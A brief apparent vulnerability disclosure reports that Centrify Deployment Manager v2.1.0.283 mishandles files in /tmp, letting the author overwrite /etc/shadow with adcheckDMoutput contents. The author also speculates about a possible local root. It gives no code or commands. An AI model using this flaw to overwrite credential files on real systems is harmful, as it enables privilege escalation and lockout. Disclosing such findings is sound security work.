Centrify Deployment Manager v2.1.0.283锘�
While at a training session for centrify, I noticed poor handling of files in /tmp. I was able to overwrite /etc/shadow with the contents of adcheckDMoutput.
I am sure there are more vulnerabilities to be exploit, maybe a local root - but being this is a training class I should probably focus.....

I am also assuming the .210 appended to the end of files in /tmp is the major version number.
